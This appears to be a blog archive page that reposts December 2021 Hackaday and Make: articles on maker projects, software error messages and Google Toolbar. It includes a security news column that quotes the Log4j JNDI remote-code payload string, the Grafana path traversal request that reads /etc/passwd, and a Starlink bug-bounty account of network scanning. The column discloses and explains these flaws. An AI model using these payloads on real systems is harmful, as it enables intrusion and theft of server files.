Archivi del mese: dicembre 2021

Anouk Wipprecht Teams With Swarovski To Make A ‘Heartbeat Dress’

Anouk Wipprecht Teams With Swarovski To Make A ‘Heartbeat Dress’
By Caleb Kraft

Anouk Wipprecht Teams With Swarovski To Make A ‘Heartbeat Dress’

Our friend and incredible designer Anouk Wipprecht is back with another interesting take on digital fabrication, wearable electronics, and fashion. This time, she’s teaming up with Swarovski Crystal. This dress, called the Heartbeat Dress will monitor your heartbeat and reflect those vital rhythms in a central pendant. Wipprecht spent some time doing an artist in […]

The post Anouk Wipprecht Teams With Swarovski To Make A ‘Heartbeat Dress’ appeared first on Make: DIY Projects and Ideas for Makers.

December 17, 2021 at 09:36PM
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Building a Custom Branding Iron With Swappable Date Blocks

Building a Custom Branding Iron With Swappable Date Blocks
By Lewin Day

Branding can be done on wood with just about any old bit of hot metal, but if you want to do it well, properly-crafted tooling will go a long way. [Wesley Treat] has built just that with this modular branding iron design.

The branding tooling itself is machined out of brass on an X-Carve CNC router, using [Wesley]’s own logo. The part is sanded after machining to remove tooling marks. A smaller brass slug is then machined with the numerals for various years with which [Wesley] may wish to stamp his projects.

Rather than hacking something sloppy together, the iron itself is assembled with a beautifully wood-turned handle of his own creation and a steel backing plate to hold the tooling. The date is separately removable from the main logo itself for easy changes in future. Naturally, the tool graphics are done in reverse so as to register the right way around when burned onto wood.

The tool is used with a torch to heat the brass up such that it can leave its impression on wooden surfaces. The final results are solid, if not quite perfect; getting the temperature across the tool perfectly matched would be key to getting the cleanest results. An electric heating element running in closed loop could be a way to achieve this.

Fundamentally, it’s a tidy way to mark your wooden projects in a hurry. We’ve seen wood burning reach even greater heights, too, such as with this CNC pyrography machine. Video after the break.

December 17, 2021 at 08:30PM
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Error Codes and the Law of Least Astonishment

Error Codes and the Law of Least Astonishment
By Al Williams

Do you know the law of least astonishment? I am not sure of its origin, but I first learned it from the excellent “Tao of Programming.” Simply put, it is the principle that software should always respond to the users in a way that least astonishes them. In other words, printing a document shouldn’t erase it from your file system.

Following the law of least astonishment, what should a program do when it hits a hard error? You might say that it should let the user know. Unfortunately, many systems just brush it under the rug these days.

I think it started with Windows. Or maybe the Mac. The thinking goes that end users are too stupid or too afraid of error codes or detailed messages so we are just leaving them out. Case in point: My wife’s iPhone wouldn’t upload pictures. I’m no expert since I carry an Android device, but I agreed to look at it. No matter what I tried, I got the same useless message: “Can’t upload photos right now. Please try again later.” Not only is this not very informative, but it also implies the problem is in something that might fix itself later like the network.

The real culprit? The iCloud terms of service had changed and she had not accepted the new contract. I have a feeling it might have popped up asking her to do that at some point, but for whatever reason she missed it. Until you dug into the settings and checked the box to agree to those terms, “later” was never going to happen.

But it isn’t just iPhones. Windows is full of things like that and you only hope there will be a log in the event viewer with more details. I also see more of it now on Linux, although there is usually a log file somewhere if you know how to find it. While I get it that programs having errors run the risk of astonishing the user, it is even more astonishing if there’s no explanation of what’s wrong. Imagine if your bank sent you a note: there is a problem with your account. So you respond: “Did I overdraw?” They reply, “No.” Now what? That’s the state of many software errors today.

There’s really no excuse on desktop systems or websites. However, you might want to forgive tiny embedded systems. Don’t! I recently ported the 3D printer firmware Marlin to an ANET A8 board — an 8-bit processor with little memory — that had been on Repetier firmware for many years. The first time I tried to do an autolevel probe I got the message: Probing failed. That’s it.

I’ll grant you, that you can turn on autolevel debugging to get more information, but I’m already at 98% flash utilization, so that would require temporarily removing a bunch of features and rebuilding the code. But why not do like we would do in the old days:

unit global_error=0;
void do_something(void) {
   global_error=1;
   if (process1()==FAIL)  return;
   global_error++;
   if (process2()==FAIL) return;
. . .

   global_error=0;
   return;
}

This doesn’t take much space. Now you can report something like Probing failed (8) and I can at least go to the code and determine what the 8th step was that failed. I’m sure someone would even post a list of codes and what they meant in a case like that.

Too much overhead? Tell me the program counter where the error happened. That used to be a pretty common practice. Granted, it requires you to have a memory map file and know how to read it but it is still better than nothing.

We spend a lot of time thinking about how projects and software should work. But we need to spend time thinking, too, about what happens when they don’t work. It is fine that we can do in-circuit debugging or hook up a logic analyzer, but that won’t help our users. Even if it is just for you, why not make it a little easier on yourself?

As we have said before, “There’s no such thing as too much information.” In addition to guarding against system errors, you can also help users not to astonish themselves.

Image Credit: [Elisa Ventur] via Unsplash.com

December 17, 2021 at 07:00PM
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Hackaday Podcast 149: Ballerina Bot Balances, Flexures Track Cat Food, PCB Goes Under the Knife, and an ATtiny Does the 555

Hackaday Podcast 149: Ballerina Bot Balances, Flexures Track Cat Food, PCB Goes Under the Knife, and an ATtiny Does the 555
By Dan Maloney

Newly ordained Hackaday editor-in-chief Elliot Williams and staff writer Dan Maloney jump behind the podcast mic to catch you up on all this week’s essential hacks. We’ll have a Bob Ross moment with an iPad, go to ridiculous lengths to avoid ordering a 555, and cook up a Wii in toaster. Need to make a VGA adapter from logic chips? Or perhaps you want to quantify the inner depths of human consciousness? Either way, we’ve got you covered.

Take a look at the links below if you want to follow along, and as always, tell us what you think about this episode in the comments!

Direct download (55 MB)

Episode 149 Show Notes:

News This Week:

What’s that Sound?

Interesting Hacks of the Week:

Quick Hacks:

Can’t-Miss Articles:

December 17, 2021 at 06:00PM
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Gluggle Jug Is Neat Application of Hydrodynamics

Gluggle Jug Is Neat Application of Hydrodynamics
By Lewin Day

The Gluggle Jug is an aptly-named thing – it’s a jug that makes loud, satisfying glugging noises when poured. But how does it work? [Steve Mould] set out to investigate. 

[Steve]’s first plan was to cut apart an existing Gluggle Jug to see how it worked, but cutting ceramics can be difficult and time-consuming, and the asymmetric design only made things harder. Instead, he simply smashed a jug to see what it looked like inside, and replicated the basic design in a transparent laser-cut version.

The design is simple – the glug sounds are from bubbles passing into a closed cavity within the jug as the water is poured out. Stop pouring, and air from that cavity then escapes back through the open mouth of the jug via more bubbles, making an even louder glugging sound. The frequency of the sound is determined by the height of the jug, which is essentially acting as a closed-pipe resonator.

With an understanding of the mechanisms at play, producing your own Gluggle jug is as simple as whipping up a design in your CAD software of choice and printing it in a food-safe way. Video after the break.

December 17, 2021 at 05:00PM
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This Week in Security: Log4j, PDF CPU, and I Hacked Starlink

This Week in Security: Log4j, PDF CPU, and I Hacked Starlink
By Jonathan Bennett

The big news this week is Log4j, breaking just a few hours too late to be included in last week’s column. Folks are already asking if this is the most severe vulnerability ever, and it does look like it’s at least in the running. The bug was first discovered by security professionals at Alibaba, who notified Apache of the flaw on November 24th. Cloudflare has pulled their data, and found evidence of the vulnerability in the wild as early as December 1st. These early examples are very sparse and extremely targeted, enough to make me wonder if this wasn’t researchers who were part of the initial disclosure doing further research on the problem. Regardless, on December 9th, a Twitter user tweeted the details of the vulnerability, and security hell broke loose. Nine minutes after the tweet, Cloudflare saw attempted exploit again, and within eight hours, they were dealing with 20,000 exploit attempts per minute.

That’s the timeline, but what’s going on with the exploit, and why is it so bad? First, the vulnerable package is Log4j, a logging library for Java. It allows processes to get log messages where they need to go, but with a bunch of bells and whistles included. One of those features is support for JNDI, a known security problem in Java. A JNDI request can lead to a deserialization attack, where an incoming data stream is maliciously malformed, misbehaving when it is expanded back into an object. It wasn’t intended for those JNDI lookups to be performed across the Internet, but there wasn’t an explicit check for this behavior, so here we are.

The conclusion is that if you can trigger a log write through log4j that includes ${jndi:ldap://example.com/a}, you can run arbitrary code on that machine. Researchers and criminals have already come up with creative ways to manage that, like including the string in a browser-agent, or a first name. Yes, it’s the return of little Bobby Tables.Log4j 2.16.0. 2.15.0 contained a partial fix, but didn’t fully eliminate the problem. An up-to-date Java has also changed a default setting, providing partial mitigation. But we probably haven’t seen the end of this one yet.

NSO and the CPU Emulated in a PDF

Had it been anyone other than Google’s Project Zero telling this story, I would have blown it off as a bad Hollywood plot device. This vulnerability is in the iOS iMessage app, and how it handles .gif files that actually contain PDF data. PDFs are flexible, to put it mildly. One of the possible encoding formats is JBIG2, a black and white compression codec from 2000. Part of the codec is the ability to use boolean operators AND, OR, XOR, and XNOR to represent minor differences between compressed blocks. An integer overflow in the decompression code allows much more memory to be considered valid output for decompression, which means the decompression code can run those BOOLEAN operators on that extra memory.

Now what do you get when you have plenty of memory and those four operators? A Turing complete CPU, of course. Yes, researchers at the NSO Group really built a virtual CPU in a PDF decoding routine, and use that platform to bootstrap their sandbox escape. It’s insane, unbelievable, and brilliant. [Ed Note: Too bad the NSO Group is essentially evil.]

Grafana Path Traversal

The Grafana visualization platform just recently fixed a serious problem, CVE-2021-43798. This vulnerability allows for path traversal via the plugin folders. So for instance, /public/plugins/alertlist/../../../../../../../../etc/passwd would return the passwd file from a Linux server. The updates fixing this issue were released on December 7th. This bug was actually a 0-day for a few days, as it was being discussed on the 3rd publicly, but unknown to the Grafana devs. Check out their postmortem for the details.

Starlink

And finally, I have some original research to cover. You may be familiar with my work covering the Starlink satellite internet system. Part of the impetus for buying and keeping Starlink was to do security research on the platform, and that goal has finally born some fruit — to the tune of a $4,800 bounty. Here’s the story.

I have a nearby friend who also uses Starlink, and on December 7th, we found that we had both been assigned a publicly routable IPv4 address. How does Starlink’s routing work between subscribers? Would traffic sent from my network to his be routed directly on the satellite, or would each packet have to bounce off the satellite, through SpaceX’s ground station, back to the bird, and then finally back to me? Traceroute is a wonderful tool, and it answered the question:

traceroute to 98.97.92.x (98.97.92.x), 30 hops max, 46 byte packets
1 customer.dllstxx1.pop.starlinkisp.net (98.97.80.1) 25.830 ms 24.020 ms 23.082 ms
2 172.16.248.6 (172.16.248.6) 27.783 ms 23.973 ms 27.363 ms
3 172.16.248.21 (172.16.248.21) 23.728 ms 26.880 ms 28.299 ms
4 undefined.hostname.localhost (98.97.92.x) 59.220 ms 51.474 ms 51.877 ms

We didn’t know exactly what each hop was, but the number of hops and the latency to each makes it fairly clear that our traffic was going through a ground station. But there’s something odd about this traceroute. Did you spot it? 172.16.x.y is a private network, as per RFC1918. The fact that it shows up in a traceroute means that my OpenWRT router and Starlink equipment are successfully routing from my desktop to that address. Now I’ve found this sort of thing before, on a different ISP’s network. Knowing that this could be interesting, I launched nmap and scanned the private IPs that showed up in the traceroute. Bingo.

172.16.248.6 was appropriately locked down, but 172.16.248.21 showed open ports. Namely, ports 179, 9100, 9101, and 50051. Nmap thought 179 was BGP, which sounded about right. But the rest of them? Telnet. I was fairly confident that none of these were actually telnet services, but it’s a great start when trying to identify an unknown service. This was no exception.Starlink's debug output Ports 9100 and 9101 told me I had made a bad request, throwing error 400s. Ah, they were HTTP services! Pulling both up in a web browser gave me a debug output that appeared to be from a Python Flask server.

That last port, 50051, was interesting. The only service I could find that was normally run there was Google’s gRPC, a Remote Procedure Call protocol. Grpc_cli came in handy to confirm that was what I had found. Unfortunately reflection was disabled, meaning that the service refused to enumerate the commands that it supported. Mapping any commands would require throwing a bunch of data at that port.

At this point, I began to wonder exactly what piece of hardware I was talking to. It did BGP, it was internal to Starlink’s network, and my traffic was routing through it. Could this be a satellite? Probably not, but the Starlink bug bounty is pretty clear about what should come next. Under no circumstances should a researcher do live testing on a satellite or other critical infrastructure. I suspected I was talking to part of their routing infrastructure, probably at the ground station in Dallas. Either way, poking too hard and breaking something was frowned upon, so I wrote up the disclosure on what I had found.

Starlink engineers had the ports closed within twelve hours of the report, and asked me to double-check their triage. Sure enough, while I could still the private IPs, no ports were open. Here is where I must credit the guys that run SpaceX’s Starlink bug bounty. They could have called this a simple information disclosure, paid a few hundred dollars, and called it a day. Instead, they took the time to investigate and confirmed that I had indeed discovered an open gRPC port, and then dropped the bombshell that it was an unauthenticated endpoint. The finding netted a $3,800 initial award, plus a bonus $1,000 for a comprehensive report and not crashing their live systems. As my local friend half-jokingly put it, that’s a lot of money for running nmap.

Yes, there was a bit of luck involved, combined with a whole lot of prior experience with network quirks. The main takeaway should be that security research doesn’t always have to be the super complicated vulnerability and exploit development. You don’t have to build a turing-complete system in a PDF. Sometimes it’s just IP and port scanning, combined with persistence and a bit of luck. In fact, if your ISP has a bug bounty program, you might try plugging a Linux machine directly into the modem, and scanning the private IP range. Keep your eyes open. You too just might find something interesting.

December 17, 2021 at 04:00PM
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Simple Mods Turn 3D Printer into Electrochemical Metal Cutter

Simple Mods Turn 3D Printer into Electrochemical Metal Cutter
By Dan Maloney

Wire ECM built from an Ender 3

We’re not aware of any authoritative metrics on such things, but it’s safe to say that the Ender 3 is among the most hackable commercial 3D printers. There’s just something about the machine that lends itself to hacks, most of which are obviously aimed at making it better at 3D printing. Some, though, are aimed in a totally different direction.

As proof of that, check out this Ender 3 modified for electrochemical machining. ECM is a machining process that uses electrolysis to remove metal from a workpiece. It’s somewhat related to electric discharge machining, but isn’t anywhere near as energetic. [Cooper Zurad] has been exploring ECM with his Ender, which he lightly modified by replacing the extruder with a hypodermic needle electrode. The electrode is connected to a small pump that circulates electrolyte from a bath on the build platform, while a power supply connects to the needle and the workpiece. As the tool traces over the workpiece, material is electrolytically removed.

The video below is a refinement of the basic ECM process, which [Cooper] dubs “wire ECM.” The tool is modified so that electrolyte flows down the outside of the needle, which allows it to enter the workpiece from the edge. Initial results are encouraging; the machine was able to cut through 6 mm thick stainless steel neatly and quickly. There does appear to be a bit of “flare” to the cut near the bottom of thicker stock, which we’d imagine might be mitigated with a faster electrolyte flow rate.

If you want to build your own Ender ECM, [Cooper] has graciously made the plans available for download, which is great since we’d love to see wire ECM take off. We’ve covered ECM before, but more for simpler etching jobs. Being able to silently and cleanly cut steel on the desktop would be a game-changer.

December 17, 2021 at 01:00PM
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DIY Mechanical Flux Dispenser Syringe Has Fine Control

DIY Mechanical Flux Dispenser Syringe Has Fine Control
By Donald Papp

[Perinski]’s design for a mechanical flux dispenser uses some common hardware and a few 3D printed parts to create a syringe with fine control over just how much of the thick stuff gets deposited. The design is slick, and there’s a full parts list to accompany the printed pieces. [Perinski] even has some useful tips on how to most effectively get flux into 5 mL syringes without making a mess, which is a welcome bit of advice.

There is also a separate companion design for a magnetic syringe cap. Not only does it have an O-ring to keep things sealed and clean, but the tip of the cap has a magnet embedded into it, so that it can be stowed somewhere safe while the dispenser is in use, and doesn’t clutter the workspace.

This is all a very interesting departure from the design of most syringe dispensers for goopy materials, which tend to depend on some kind of pneumatic action. Even so, we’ve also seen that it’s possible to have a compact DIY pneumatic dispenser that doesn’t require a bulky compressor.

If you can’t quite figure out how the ergonomics of [Perinski]’s design are intended to work one-handed, you’re not alone. One holds the syringe in their hand, and turns the large dial in small increments with a thumb to control extrusion. [Perinski] demonstrates it close-up around the 4:50 mark, but if you have a few minutes it is worth watching the entire video, embedded below.

December 17, 2021 at 10:00AM
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Add Smarts To Your Old Capsule Coffee Maker

Add Smarts To Your Old Capsule Coffee Maker
By Chris Wilkinson

The insides of a coffee machine replaced with new smart electronics

Everyone has their preferred method of making (and consuming) coffee. While modern coffee makers are starting to come standard with IoT and ‘smart’ capabilities, owners of older models should fear not, as [Andreas Skoglund] shows how just about any old machine can be upgraded with the latest automation wizardry.

The most involved part of this conversion is removing the electronic guts of the Dolce Gusto donor machine, leaving just the original heater, pump and the control levers. With safety in mind, the user must make the machine ‘hot’ by configuring the levers and replacing the coffee capsule manually, otherwise no automated coffee magic can take place.

A low-tech relay powers on the coffee maker, with the entire logic supported by an off-the-shelf microcontroller. If you’re using a Particle.io controller, the provided instructions offer some helpful tips on automatically brewing your first beverage. From there it’s trivial to start using Home Assistant to set up various rules and schedules for your coffee drinking pleasure. You can even select whether you want a small or large cup.

There’s a few improvements that our coffee-starved hero suggests implementing, such as upgrading the power supply, as well as investing in refillable capsules to spite a certain global conglomerate corporation (plus it’s cheaper and much better for the environment). We’re not short on coffee-inspired hacks, so why not also check out this AI Powered Coffee Maker.

December 17, 2021 at 07:00AM
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Gone: Google Toolbar (2000-2021)

Gone: Google Toolbar (2000-2021)
By Roger Cheng

For both better and worse, the internet landscape moves fast. Shortening attention spans and memories all over the world. But every once in a while, we get a reminder of what once was. [Ron Amadeo] of Ars Technica fired up a Google product of year 2000 in Take one last look at Google Toolbar, which is now dead.

Today it’s hard to find an operating system that does not bundle a web browser. But back then, Microsoft’s Internet Explorer was so dominant, the browser’s inclusion in Windows led to an antitrust lawsuit. Trying to get out from under IE’s shadow, many internet companies grabbed a toehold on users’ computers by installing a toolbar. (The comments thread on that Ars Technica article includes some horrific screenshots of mass toolbar infestation.)

Take the best of Google everywhere on the web!

Google was just one company among many fighting for finite real estate, using Toolbar to circumvent Microsoft and redirect people to Google properties. In their efforts to entice users to install, Google promised capabilities that are now hilariously out of date, like integration with a wide swath of also-dead Google products. On the flip side there were some features that were nice while it lasted, like a single toggle to turn off all telemetry sent back to Google. Yeah, wouldn’t that be nice today?

Google now has its own Chrome browser, enjoying the kind of dominance Internet Explorer once had. With Microsoft itself leaving IE behind, there’s no longer any reason for Google Toolbar to exist. So, Google pulled the plug just before it turned 21 years old. Farewell Google Toolbar, we’ll remember you for… five minutes, tops.

December 17, 2021 at 04:00AM
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